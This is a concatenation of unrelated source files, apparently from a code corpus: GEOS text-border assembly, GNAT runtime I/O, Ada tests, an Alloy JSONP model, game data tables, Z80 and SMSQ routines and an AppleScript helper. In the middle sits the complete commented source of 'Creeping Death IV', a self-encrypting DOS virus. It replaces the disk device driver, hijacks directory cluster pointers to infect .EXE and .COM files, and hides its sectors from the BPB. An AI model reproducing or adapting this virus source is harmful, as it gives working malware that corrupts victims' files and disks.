SYNOPSIS: Get the coordinates of a range of text on a line.
CALLED BY: DrawTextBackgroundColorCallback, DrawBoxedTextCallback,
DrawButtonTextCallback
PASS: *ds:si = Instance
ss:bp = LICL_vars
ss:bx = VisTextRange
RETURN: ax...dx = Coordinates of the rectangle
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/13/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GetRangeCoordinates proc near
uses di
.enter
;
; Compute the left edge of the range to color
;
push bx, bp ; Save frame ptrs
movdw dxax, ss:[bx].VTR_start ; dx.ax <- start position
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
mov bp, 0x7fff ; Return position
call TL_LineTextPosition ; bx <- pixel position
; Nukes ax, dx
mov ax, bx ; ax <- pixel position
pop bx, bp ; Restore frame ptrs
;
; Compute the right edge of the range to color
;
push ax, bx, bp ; Save left, frame ptrs
movdw dxax, ss:[bx].VTR_end ; dx.ax <- end position
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
mov bp, 0x7fff ; Return position
call TL_LineTextPosition ; bx <- pixel position
; Nukes ax, dx
mov cx, bx ; ax <- pixel position
pop ax, bx, bp ; Restore left, frame ptrs
;
; *ds:si= Instance ptr
; ax = Left edge
; cx = Right edge
; ss:bp = LICL_vars
; ss:bx = VisTextRange
; On stack:
; GState to use <<-- Top of stack
;
; Figure the left edge of the line so we can adjust the left/right
;
push ax, bx ; Save left, frame ptr
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
call TL_LineGetLeftEdge ; ax <- offset to left edge
mov di, ax ; di <- offset to left edge
pop ax, bx ; Restore left, frame ptr
;
; Adjust the left and right edges.
;
add ax, di
add cx, di
;
; Figure the top/bottom of the line
;
push ax, cx ; Save left, right
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
call TL_LineGetTop ; dx.bl <- top of line
ceilwbf dxbl, ax ; ax <- top of line
push ax ; Save top of line
movwbf cxal, dxbl
movdw bxdi, ss:[bp].LICL_line ; bx.di <- line
call TL_LineGetHeight ; dx.bl <- height of line
addwbf dxbl, cxal ; dx.bl <- next line
ceilwbf dxbl, dx ; dx <- bottom
;
; *ds:si= Instance ptr
; cx = Right edge
; ss:bp = LICL_vars
; dx = Line height
; On stack:
; Top edge <<-- Top of stack
; Right edge
; Left edge
; GState to use
;
pop bx ; bx <- top of line
pop ax, cx ; cx <- right edge
; ax <- left edge of line
;
; Finally, limit the right edge to the bounds of the ruler, so that
; we don't color beyond the right margin.
;
cmp cx, LICL_realRightMargin
jbe gotRight
mov cx, LICL_realRightMargin
gotRight:
.leave
ret
GetRangeCoordinates endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawBoxedTextCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw a box around some text.
CALLED BY: ExtendedStyleEnum
PASS: *ds:si = Instance
ss:bx = Pointer to a VisTextRange indicating the range of
text to box.
ss:cx = VisTextChrAttr
di = gstate
ss:bp = LICL_vars w/ these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: ax, bx, cx, dx, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawBoxedTextCallback proc near
clr dx ;not button
GOTO DrawBoxCommon
DrawBoxedTextCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DrawButtonTextCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Draw a button around some text.
CALLED BY: ExtendedStyleEnum
PASS: *ds:si = Instance
ss:bx = Pointer to a VisTextRange indicating the range of
text to button.
ss:cx = VisTextChrAttr
di = gstate
ss:bp = LICL_vars w/ these set:
LICL_line
LICL_lineStart
LICL_theParaAttr
LICL_paraAttrStart
LICL_paraAttrEnd
RETURN: nothing
DESTROYED: ax, bx, cx, dx, si, di, bp
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jcw 7/10/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DrawButtonTextCallback proc near
mov dx, 1 ; button
FALL_THRU DrawBoxCommon
DrawButtonTextCallback endp
;---
DrawBoxCommon proc near
call SetBorderColorAndAttributes
pushf
; Now get the coordinates and draw the frame.
push dx
call GetRangeCoordinates ; ax...dx <- coords of range
pop si ; si = button flag
cmp ax, cx
jz afterDraw
; if we are drawing a button then bring the right and bottom in one
tst si
jz notButton1
dec cx
dec dx
notButton1:
; draw left
push cx
mov cx, ax
inc cx
call GrFillRect
pop cx
; draw top
push dx
mov dx, bx
inc dx
call GrFillRect
pop dx
; draw right
push ax
mov ax, cx
dec ax
call GrFillRect
pop ax
; draw bottom
push bx
mov bx, dx
dec bx
call GrFillRect
pop bx
; if drawing a button then draw the shaded part
tst si
jz notButton2
; draw shadow right
push ax, bx, cx
mov ax, cx
inc cx
inc bx
call GrFillRect
pop ax, bx, cx
; draw shadow bottom
mov bx, dx
inc dx
inc ax
call GrFillRect
notButton2:
afterDraw:
popf
jz 30$
clr ax
call GrSetAreaPattern
30$:
ret
DrawBoxCommon endp
TextBorder ends
|
support/MinGW/lib/gcc/mingw32/9.2.0/adainclude/s-io.adb | orb-zhuchen/Orb | 0 | 25961 | <filename>support/MinGW/lib/gcc/mingw32/9.2.0/adainclude/s-io.adb
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- S Y S T E M . I O --
-- --
-- B o d y --
-- --
-- Copyright (C) 1992-2019, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
package body System.IO is
Current_Out : File_Type := Stdout;
pragma Atomic (Current_Out);
-- Current output file (modified by Set_Output)
--------------
-- New_Line --
--------------
procedure New_Line (Spacing : Positive := 1) is
begin
for J in 1 .. Spacing loop
Put (ASCII.LF);
end loop;
end New_Line;
---------
-- Put --
---------
procedure Put (X : Integer) is
procedure Put_Int (X : Integer);
pragma Import (C, Put_Int, "put_int");
procedure Put_Int_Err (X : Integer);
pragma Import (C, Put_Int_Err, "put_int_stderr");
begin
case Current_Out is
when Stdout => Put_Int (X);
when Stderr => Put_Int_Err (X);
end case;
end Put;
procedure Put (C : Character) is
procedure Put_Char (C : Character);
pragma Import (C, Put_Char, "put_char");
procedure Put_Char_Stderr (C : Character);
pragma Import (C, Put_Char_Stderr, "put_char_stderr");
begin
case Current_Out is
when Stdout => Put_Char (C);
when Stderr => Put_Char_Stderr (C);
end case;
end Put;
procedure Put (S : String) is
begin
for J in S'Range loop
Put (S (J));
end loop;
end Put;
--------------
-- Put_Line --
--------------
procedure Put_Line (S : String) is
begin
Put (S);
New_Line;
end Put_Line;
---------------------
-- Standard_Output --
---------------------
function Standard_Output return File_Type is
begin
return Stdout;
end Standard_Output;
--------------------
-- Standard_Error --
--------------------
function Standard_Error return File_Type is
begin
return Stderr;
end Standard_Error;
----------------
-- Set_Output --
----------------
procedure Set_Output (File : File_Type) is
begin
Current_Out := File;
end Set_Output;
end System.IO;
|
test/unknown/test_unknown-read.ads | skill-lang/skillAdaTestSuite | 1 | 245 | with Ada.Characters.Handling;
with Ada.Strings.Fixed;
with Ada.Tags;
with Ahven.Framework;
with Unknown.Api;
package Test_Unknown.Read is
package Skill renames Unknown.Api;
use Unknown;
use Unknown.Api;
type Test is new Ahven.Framework.Test_Case with null record;
procedure Initialize (T : in out Test);
procedure Check_Types;
procedure Check_Fields_A;
procedure Check_Fields_C;
end Test_Unknown.Read;
|
same-origin-policy/src/model/jsonp.als | cfbolz/500lines | 2 | 2543 | /**
* jsonp.als
* A model of the JSONP mechanism for cross-domain communication from a
* script and a server
*/
module jsonp
open script
abstract sig Callback {} // identifier of a callback function
// Request sent as a result of <script> tag
sig JsonpRequest in BrowserHttpRequest {
padding: Callback
}{
response in JsonpResponse
}
// A JsonpResponse is a piece of Javascript
sig JsonpResponse in Resource {
cb: Callback,
payload: Resource
}{
payload != this
}
fact {
all r: JsonpResponse | some req: JsonpRequest | req.response = r
}
// Callback function called when the JSONP request completes
sig ExecCallback extends EventHandler {
cb: Callback,
payload: Resource
}{
causedBy in JsonpRequest
to.context = causedBy.(BrowserHttpRequest <: doc)
let resp = causedBy.response |
cb = resp.@cb and
-- result of JSONP request is passed on as an argument to the callback
payload = resp.@payload
}
run { some cb: ExecCallback | some cb.payload }
|
data/baseStats_original/flaaffy.asm | adhi-thirumala/EvoYellow | 16 | 100594 | <reponame>adhi-thirumala/EvoYellow
db DEX_FLAAFFY ; pokedex id
db 70 ; base hp
db 55 ; base attack
db 55 ; base defense
db 45 ; base speed
db 70 ; base special
db ELECTRIC ; species type 1
db ELECTRIC ; species type 2
db 100 ; catch rate
db 117 ; base exp yield
INCBIN "pic/ymon/flaaffy.pic",0,1 ; 66, sprite dimensions
dw FlaaffyPicFront
dw FlaaffyPicBack
; attacks known at lvl 0
db TACKLE
db GROWL
db THUNDERSHOCK
db 0
db 0 ; growth rate
; learnset
tmlearn 1,5,6,8
tmlearn 9,10,16
tmlearn 17,19,20,24
tmlearn 25,31,32
tmlearn 33,34,39,40
tmlearn 44,45
tmlearn 50,55
db Bank(FlaaffyPicFront) ; padding
|
problems/017/a017.adb | melwyncarlo/ProjectEuler | 0 | 12900 | with Ada.Integer_Text_IO;
with Ada.Numerics.Elementary_Functions;
-- Copyright 2021 <NAME>
procedure A017 is
use Ada.Integer_Text_IO;
use Ada.Numerics.Elementary_Functions;
N : Integer := 0;
And_Str_Length : constant Integer := 3;
Hundred_Str_Length : constant Integer := 7;
One_Thousand_Str_Length : constant Integer := 11;
-- The first elements are dummy elements.
Ones_Str_Length : constant array (Integer range 0 .. 9) of Integer :=
(0, 3, 3, 5, 4, 4, 3, 5, 5, 4);
Tens_Str_Length : constant array (Integer range 0 .. 9) of Integer :=
(0, 3, 6, 6, 5, 5, 5, 7, 6, 6);
Elevens_Str_Length : constant array (Integer range 0 .. 9) of Integer :=
(0, 6, 6, 8, 8, 7, 7, 9, 8, 8);
Number_Length, Ones_Number, Tens_Number : Integer;
begin
for I in 1 .. 999 loop
Number_Length := Integer (Float'Floor (Log (Float (I), 10.0))) + 1;
Ones_Number := I mod 10;
Tens_Number := (Integer (Float'Floor (Float (I) / 10.0))) mod 10;
if Number_Length > 2 then
N := N
+ Ones_Str_Length (Integer (Float'Floor (Float (I) / 100.0)))
+ Hundred_Str_Length;
if Ones_Number > 0 or Tens_Number > 0 then
N := N + And_Str_Length;
end if;
end if;
if Number_Length > 1 then
if Tens_Number = 1 then
if Ones_Number = 0 then
N := N + Tens_Str_Length (1);
else
N := N + Elevens_Str_Length (Ones_Number);
end if;
goto Continue;
else
N := N + Tens_Str_Length (Tens_Number);
end if;
end if;
N := N + Ones_Str_Length (Ones_Number);
<<Continue>>
end loop;
N := N + One_Thousand_Str_Length;
Put (N, Width => 0);
end A017;
|
libsrc/_DEVELOPMENT/l/z80/integer/small/l_small_lsr_hl.asm | jpoikela/z88dk | 640 | 16325 |
SECTION code_clib
SECTION code_l
PUBLIC l_small_lsr_hl
EXTERN error_znc
l_small_lsr_hl:
; logical shift right 16-bit unsigned int
;
; enter : hl = 16-bit number
; a = shift amount
;
; exit : hl = hl >> a
;
; uses : af, b, hl
or a
ret z
cp 16
jp nc, error_znc
ld b,a
ld a,l
shift_loop:
srl h
rra
djnz shift_loop
ld l,a
ret
|
smsq/mem/rlst.asm | olifink/smsqe | 0 | 22817 | <filename>smsq/mem/rlst.asm
* Memory manager linked list maintenance V2.00 <NAME> QJUMP
*
section mem
*
xdef mem_rlst remove from list
*
include dev8_keys_err
*
* a0 c p link to be removed
* a1 c u pointer to previous item (or start of list)
*
* all other registers preserved
*
mem_rlst
move.l d0,-(sp)
move.l (a1),d0 first link
beq.s mrl_exit ... none
mrl_loop
cmp.l a0,d0 our item?
beq.s mrl_unlk ... yes, unlink
move.l d0,a1 next address
move.l (a1),d0 next link
bne.s mrl_loop ... ok
mrl_exit
move.l (sp)+,d0
rts
*
mrl_unlk
move.l (a0),(a1) reset link to item removed
move.l (sp)+,d0
rts
end
|
date/durationMessageForSeconds.applescript | adriannier/applescript-functions | 7 | 2185 | <filename>date/durationMessageForSeconds.applescript
(*
The specified number of seconds is converted to a string like "30 minutes" or "1 day"
*)
durationMessageForSeconds(3)
on durationMessageForSeconds(theSeconds)
-- Check input
if theSeconds = 0 then return "just now"
-- Set the name of the units
set singleUnits to {"second", "minute", "hour", "day", "week", "month", "year", "century", "millennium"}
set pluralUnits to {"seconds", "minutes", "hours", "days", "weeks", "months", "years", "centuries", "millennia"}
-- Setup multiplicators
set multiplicators to {1, 60, 60, 24, 7, 4, 12, 100, 100, 100}
-- Initialize variables
set max to 1
set v to theSeconds
repeat with i from 1 to count of singleUnits
-- Determine the maximum value covered by this unit
set max to max * (item i of multiplicators)
-- Is the duration within the limits for this unit?
if theSeconds < max then exit repeat
-- Reduce the value for the next unit
set v to v div (item i of multiplicators)
end repeat
-- Choose the appropriate version of the unit
if v > 1 then
set theUnit to item (i - 1) of pluralUnits
else
set theUnit to item (i - 1) of singleUnits
end if
-- Return the string
set durationText to ((v as string) & " " & theUnit) as string
return durationText
end durationMessageForSeconds
|
MSDOS/Virus.MSDOS.Unknown.cdeath4.asm | fengjixuchui/Family | 3 | 28580 | ;*****************************************************************************;
; ;
; Creeping Death IV (Encrypting, try to find it) ;
; ;
; (c) Copyright 1992 by <NAME> ;
; ;
;*****************************************************************************;
code segment public 'code'
assume cs:code, ds:code, es:code
org 100h
;*****************************************************************************;
; ;
; Actual start of virus. In this part the virus initializes the stack and ;
; adjusts the device driver used by dos to read and write from floppy's and ;
; hard disks. Then it will start the orginal exe or com-file ;
; ;
;*****************************************************************************;
Encrypt: mov bx,offset Main-9
Repeat: xor byte ptr [bx+8],bl
inc bx
jnz Repeat
Main: mov sp,600h ; init stack
inc Counter
;*****************************************************************************;
; ;
; Get dosversion, if the virus is running with dos 4+ then si will be 0 else ;
; si will be -1 ;
; ;
;*****************************************************************************;
DosVersion: mov ah,30h ; fn 30h = Get Dosversion
int 21h ; int 21h
cmp al,4 ; major dosversion
sbb di,di
mov byte ptr ds:drive[2],-1 ; set 2nd operand of cmp ah,??
;*****************************************************************************;
; ;
; Adjust the size of the codesegment, with dos function 4ah ;
; ;
;*****************************************************************************;
mov bx,60h ; Adjust size of memory block
mov ah,4ah ; to 60 paragraphs = 600h bytes
int 21h ; int 21h
mov ah,52h ; get internal list of lists
int 21h ; int 21h
;*****************************************************************************;
; ;
; If the virus code segment is located behind the dos config memory block the ;
; code segment will be part of the config memory block making it 61h ;
; paragraphs larger. If the virus is not located next to the config memory ;
; block the virus will set the owner to 8h (Dos system) ;
; ;
;*****************************************************************************;
mov ax,es:[bx-2] ; segment of first MCB
mov dx,cs ; dx = MCB of the code segment
dec dx
NextMCB: mov ds,ax ; ax = segment next MCB
add ax,ds:[3]
inc ax
cmp ax,dx ; are they equal ?
jne NextMCB ; no, not 1st program executed
cmp word ptr ds:[1],8
jne NoBoot
add word ptr ds:[3],61h ; add 61h to size of block
NoBoot: mov ds,dx ; ds = segment of MCB
mov word ptr ds:[1],8 ; owner = dos system
;*****************************************************************************;
; ;
; The virus will search for the disk paramenter block for drive a: - c: in ;
; order to find the device driver for these block devices. If any of these ;
; blocks is found the virus will install its own device driver and set the ;
; access flag to -1 to tell dos this device hasn't been accesed yet. ;
; ;
;*****************************************************************************;
cld ; clear direction flag
lds bx,es:[bx] ; get pointer to first drive
; paramenter block
Search: cmp bx,-1 ; last block ?
je Last
mov ax,ds:[bx+di+15h] ; get segment of device header
cmp ax,70h ; dos device header ??
jne Next ; no, go to next device
xchg ax,cx
mov byte ptr ds:[bx+di+18h],-1 ; set access flag to "drive
; has not been accessed"
mov si,offset Header-4 ; set address of new device
xchg si,ds:[bx+di+13h] ; and save old address
mov ds:[bx+di+15h],cs
Next: lds bx,ds:[bx+di+19h] ; next drive parameter block
jmp Search
;*****************************************************************************;
; ;
; If the virus has failed in starting the orginal exe-file it will jump here. ;
; ;
;*****************************************************************************;
Install: int 20h
;*****************************************************************************;
; ;
; An file is opend with this name, but the file will not be found. ;
; ;
;*****************************************************************************;
File: db "C:",255,0
;*****************************************************************************;
; ;
; If none of these devices is found it means the virus is already resident ;
; and the virus wasn't able to start the orginal exe-file (the file is ;
; corrupted by copying it without the virus memory resident). If the device ;
; is found the information in the header is copied. ;
; ;
;*****************************************************************************;
Last: jcxz install
;*****************************************************************************;
; ;
; The information about the dos device driver is copyed to the virus code ;
; segment ;
; ;
;*****************************************************************************;
mov ds,cx ; ds = segment of Device Driver
add si,4
push cs
pop es
mov di,offset Header
movsw
lodsw
mov es:StrBlock,ax
mov ax,offset Strategy
stosw
lodsw
mov es:IntBlock,ax
mov ax,offset Interrupt
stosw
movsb
;*****************************************************************************;
; ;
; Deallocate the environment memory block and start the this file again, but ;
; if the virus succeeds it will start the orginal exe-file. ;
; ;
;*****************************************************************************;
push cs
pop ds
mov bx,ds:[2ch] ; environment segment
or bx,bx ; =0 ?
jz Boot
mov es,bx
mov ah,49h ; deallocate memory
int 21h
xor ax,ax
mov di,1
Seek: dec di ; scan for end of environment
scasw
jne Seek
lea si,ds:[di+2] ; es:si = start of filename
jmp short Exec
Boot: mov ds,ds:[16h] ; es = parent PSP
mov bx,ds:[16h] ; bx = parent PSP of Parent PSP
xor si,si
sub bx,1
jnb Exec
mov ax,cs
dec ax
mov ds,ax
mov cx,8
mov si,8
mov di,0ffh
Count: lodsb
or al,al
loopne Count
not cx
and cx,7
NextByte: mov si,8
inc di
push di
push cx
rep cmpsb
pop cx
pop di
jne NextByte
BeginName: dec di
cmp byte ptr es:[di-1],0
jne BeginName
mov si,di
mov bx,es
Exec: push bx
push cs
pop ds
mov bx,offset Param
mov ds:[bx+4],cs ; set segments in EPB
mov ds:[bx+8],cs
mov ds:[bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name ; copy name of this file
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh ; open file, this file will
mov dx,offset File ; not be found but the entire
int 21h ; directory is searched and
pop dx ; infected
mov ax,4b00h ; execute file
int 21h
mov ah,4dh ; get exit-code
int 21h
mov ah,4ch ; terminate (al = exit code)
int 21h
;*****************************************************************************;
; ;
; Installation complete ;
; ;
;*****************************************************************************;
; ;
; The next part contains the device driver used by creeping death to infect ;
; directory's ;
; ;
; The device driver uses only the strategy routine to handle the requests. ;
; I don't know if this is because the virus will work better or the writer ;
; of this virus didn't know how to do it right. ;
; ;
;*****************************************************************************;
Strategy: mov cs:RequestOffset,bx
mov cs:RequestSegment,es
retf
Interrupt: push ax ; driver strategy block
push bx
push cx ; save registers
push dx
push si
push di
push ds
push es
les bx,cs:Request
push es
pop ds
mov al,ds:[bx+2] ; Command Code
cmp al,4 ; Input
je Input
cmp al,8 ; Output
je Output
cmp al,9
je Output
call DoRequest
cmp al,2 ; Build BPB
jne Return
lds si,ds:[bx+12h] ; copy the BPB and change it
mov di,offset bpb_buf ; into one that hides the virus
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es ; copy
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,ds:[di+2-32] ; change
cmp al,2
adc al,0
cbw
cmp word ptr ds:[di+8-32],0 ; >32mb partition ?
je m32 ; yes, jump to m32
sub ds:[di+8-32],ax ; <32mb partition
jmp short Return
m32: sub ds:[di+15h-32],ax ; >32mb partition
sbb word ptr ds:[di+17h-32],0
Return: pop es ; return to caller
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
retf
Output: mov cx,0ff09h ; check if disk changed
call check
jz InfectSector ; no, just infect sector
call DoRequest ; yes, write virus to disk
jmp short inf_dsk
InfectSector: jmp _InfectSector ; infect sector
Read: jmp _Read ; read sector
ReadError: add sp,16 ; error during request
jmp short Return
Input: call check ; check if disk changed
jz Read ; no, read sector
inf_dsk: mov byte ptr ds:[bx+2],4 ; yes, write virus to disk
cld ; save last part of request
lea si,ds:[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov word ptr ds:[bx+14h],1 ; read 1st sector on disk
call ReadSector
jnz ReadError
mov byte ptr ds:[bx+2],2 ; build BPB
call DoRequest
lds si,ds:[bx+12h] ; ds:si = BPB
mov di,ds:[si+6] ; size of root directory
add di,15 ; in sectors
mov cl,4
shr di,cl
mov al,ds:[si+5]
cbw
mov dx,ds:[si+0bh]
mul dx ; ax=fat sectors, dx=0
add ax,ds:[si+3]
add di,ax
push di ; save it on stack
mov ax,ds:[si+8] ; total number of sectors
cmp ax,dx ; >32mb
jnz more ; no, skip next 2 instructions
mov ax,ds:[si+15h] ; get number of sectors
mov dx,ds:[si+17h]
more: xor cx,cx ; cx=0
sub ax,di ; dx:ax=number is data sectors
sbb dx,cx
mov cl,ds:[si+2] ; cx=sectors / cluster
div cx ; number of clusters on disk
cmp cl,2 ; 1 sector/cluster ?
sbb ax,-1 ; number of clusters (+1 or +2)
push ax ; save it on stack
call Convert ; get fat sector and offset in
mov byte ptr es:[bx+2],4 ; sector
mov es:[bx+14h],ax
call ReadSector ; read fat sector
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl ; has something to do with the
adc dx,ax ; encryption of the pointers
mov word ptr cs:[gad+1],dx
cmp cl,1 ; 1 sector / cluster
jne Ok
SmallModel: not di ; this is used when the
and ds:[si],di ; clusters are 1 sector long
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or ds:[si],ax
pop ax
call Convert
mov si,es:[bx+0eh]
add si,dx
Ok: mov ax,ds:[si]
and ax,di
mov dx,di ; allocate cluster
dec dx
and dx,di
not di
and ds:[si],di
or ds:[si],dx
cmp ax,dx ; cluster already allocated by
pop ax ; the virus ?
pop di
mov word ptr cs:[pointer+1],ax
je _Read_ ; yes, don't write it and go on
mov dx,ds:[si]
push ds
push si
mov byte ptr es:[bx+2],8 ; write
call DoRequest ; write the adjusted sector to
pop si ; disk
pop ds
jnz _Read_
call ReadSector ; read it again
cmp ds:[si],dx ; is it written correctly ?
jne _Read_ ; no, can't infect disk
dec ax
dec ax ; calculate the sector number
mul cx ; to write the virus to
add ax,di
adc dx,0
push es
pop ds
mov word ptr ds:[bx+12h],2
mov ds:[bx+14h],ax ; store it in the request hdr
test dx,dx
jz less
mov word ptr ds:[bx+14h],-1
mov ds:[bx+1ah],ax
mov ds:[bx+1ch],dx
less: mov ds:[bx+10h],cs
mov ds:[bx+0eh],100h
mov byte ptr es:[bx+2],8 ; write it
call EncryptWrite1
_Read_: mov byte ptr ds:[bx+2],4 ; restore this byte
std ; restore other part of the
lea di,ds:[bx+1ch] ; request
mov cx,8
load: pop ax
stosw
loop load
_Read: call DoRequest ; do request
mov cx,9
_InfectSector: mov di,es:[bx+12h] ; get number of sectors read
lds si,es:[bx+0eh] ; get address of data
sal di,cl ; calculate end of buffer
xor cl,cl
add di,si
xor dl,dl
push ds ; infect the sector
push si
call find
jcxz no_inf ; write sector ?
mov al,8
xchg al,es:[bx+2] ; save command byte
call DoRequest ; write sector
mov es:[bx+2],al ; restore command byte
and byte ptr es:[bx+4],07fh
no_inf: pop si
pop ds
inc dx ; disinfect sector in memory
call find
jmp Return ; return to caller
;*****************************************************************************;
; ;
; Subroutines ;
; ;
;*****************************************************************************;
find: mov ax,ds:[si+8] ; (dis)infect sector in memory
cmp ax,"XE" ; check for .exe
jne com
cmp ds:[si+10],al
je found
com: cmp ax,"OC" ; check for .com
jne go_on
cmp byte ptr ds:[si+10],"M"
jne go_on
found: test word ptr ds:[si+1eh],0ffc0h ; file to big
jnz go_on ; more than 4mb
test word ptr ds:[si+1dh],03ff8h ; file to small
jz go_on ; less than 2048 bytes
test byte ptr ds:[si+0bh],1ch ; directory, system or
jnz go_on ; volume label
test dl,dl ; infect or disinfect ?
jnz rest
pointer: mov ax,1234h ; ax = viral cluster
cmp ax,ds:[si+1ah] ; file already infected ?
je go_on ; yes, go on
xchg ax,ds:[si+1ah] ; exchange pointers
gad: xor ax,1234h ; encryption
mov ds:[si+14h],ax ; store it on another place
loop go_on ; change cx and go on
rest: xor ax,ax ; ax = 0
xchg ax,ds:[si+14h] ; get pointer
xor ax,word ptr cs:[gad+1] ; Encrypt
mov ds:[si+1ah],ax ; store it on the right place
go_on: rol word ptr cs:[gad+1],1 ; change encryption
add si,32 ; next directory entry
cmp di,si ; end of buffer ?
jne find ; no, do it again
ret ; return
check: mov ah,ds:[bx+1] ; get number of unit
drive: cmp ah,-1 ; same as last call ?
mov byte ptr cs:[drive+2],ah ; set 2nd parameter
jne changed
push ds:[bx+0eh] ; save word
mov byte ptr ds:[bx+2],1 ; disk changed ?
call DoRequest
cmp byte ptr ds:[bx+0eh],1 ; 1=Yes
pop ds:[bx+0eh] ; restore word
mov ds:[bx+2],al ; restore command
changed: ret ; return
ReadSector: mov word ptr es:[bx+12h],1 ; read sector from disk
DoRequest: db 09ah ; call 70:?, orginal strategy
StrBlock dw ?,70h
db 09ah ; call 70:?, orginal interrupt
IntBlock dw ?,70h
test byte ptr es:[bx+4],80h ; error ? yes, zf = 0
ret ; return
Convert: cmp ax,0ff0h ; convert cluster number into
jae fat_16 ; an sector number and offset
mov si,3 ; into this sector containing
xor word ptr cs:[si+gad-1],si ; the fat-item of this
mul si ; cluster
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
inc ax
ret
EncryptWrite1: push ds
push cs
pop ds
push es
push cs
pop es
cld
mov cx,9
mov si,offset Encrypt
mov di,offset EncryptWrite2
mov al,ds:[si+5]
add al,11
mov ds:[si+5],al
cbw
mov dx,offset Main-1
sub dx,ax
mov ds:[si+1],dx
rep movsb
mov cl,10
mov si,offset DoRequest
rep movsb
mov cl,9
mov si,offset Encrypt
rep movsb
mov ax,0c31fh
stosw
pop es
jmp EncryptWrite2
Counter dw 0 ; this will count the number of
; systems that are infected by
; this virus
Param: dw 0,80h,?,5ch,?,6ch,? ; parameters for the
; exec-function
Header db 7 dup(?) ; this is the header for the
; device driver
Request equ this dword ; address of the request header
RequestOffset dw ?
RequestSegment dw ?
bpb_buf: db 32 dup(?) ; buffer for BPB
EncryptWrite2: db 30 dup(?)
f_name: db 80 dup(?) ; Buffer for the filename used
; by the exec-function
;*****************************************************************************;
; ;
; The End ;
; ;
;*****************************************************************************;
code ends
end Encrypt
|
Sources/Library/real_type.ads | ForYouEyesOnly/Space-Convoy | 1 | 18523 | with Ada.Numerics.Generic_Elementary_Functions;
package Real_Type is
subtype Real is Long_Float;
package Real_Elementary_Functions is
new Ada.Numerics.Generic_Elementary_Functions (Real);
end Real_Type;
|
src/test/resources/data/generationtests/sjasm-macro2-expected.asm | Fubukimaru/mdlz80optimizer | 0 | 165640 | <reponame>Fubukimaru/mdlz80optimizer
; Test case:
ld a, #0203 & #00ff
ld (var), a
or a
jr nz, _sjasm_reusable_1_1
ld a, (#0203 & #ff00) >> 8
ld (var), a
_sjasm_reusable_1_1:
ld a, #0203 & #00ff
ld (var), a
or a
jr nz, _sjasm_reusable_1_2
ld a, (#0203 & #ff00) >> 8
ld (var), a
_sjasm_reusable_1_2:
loop:
jr loop
var:
db 0
|
examples/test_sha512.adb | ytomino/openssl-ada | 1 | 8141 | with Ada.Streams;
with Ada.Text_IO;
with Crypto.SHA512; use Crypto.SHA512;
procedure Test_SHA512 is
procedure Test_01 is
use type Ada.Streams.Stream_Element_Array;
C : Context := Initial;
D : Fingerprint;
begin
Update (C, "a");
Final (C, D);
pragma Assert (
Image (D) =
"1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08"
& "d560252aa5e74210546f369fbbbce8c12cfc7957b2652fe9a75");
pragma Assert (D = Value (Image (D)));
end Test_01;
pragma Debug (Test_01);
begin
-- finish
